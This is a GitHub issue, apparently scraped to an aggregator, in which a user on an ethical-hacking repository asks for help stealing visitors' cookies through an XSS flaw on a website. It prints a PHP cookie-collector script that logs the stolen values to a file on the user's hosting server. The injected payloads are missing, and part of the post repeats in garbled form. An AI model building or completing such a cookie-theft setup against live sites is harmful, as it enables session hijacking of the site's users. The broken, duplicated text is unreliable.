Samsar4 / Ethical-Hacking-Labs

Practical Ethical Hacking Labs 🗡🛡
2.37k stars 580 forks source link

XSS help #17

Open Chrislinuxos opened 7 months ago

Chrislinuxos commented 7 months ago

I'm doing an ethical hacking test, I tested an XSS payload : on a website, and the pop-up appears, so I want to collect user cookie

I created a getcookie.php file and a cookies.txt file and and I uploaded both files to a hosting server, I placed the two files in the htdocs folder, which now contains index.html, getcookie.php and a cookies.txt

This is the getcookie.php file:

<?php $cookie = $_GET['c']; $fp = fopen('cookies.txt', 'a+'); fwrite($fp, 'Cookie:' .$cookie."\r\n"); fclose($fp);

?>

When I try this in the search box: :

I get this URL: https://website2/search/?section=all&query= on a website, and the pop-up appears, so I want to collect user cookie I created a getcookie.php file and a cookies.txt file and and I uploaded both files to a hosting server, I placed the two files in the htdocs folder, which now contains index.html, getcookie.php and a cookies.txt This is the getcookie.php file: When I try this in the search box: :

I get this URL: https://website2/search/?section=all&query=

Githubissues.
  • Githubissues is a development platform for aggregating issues.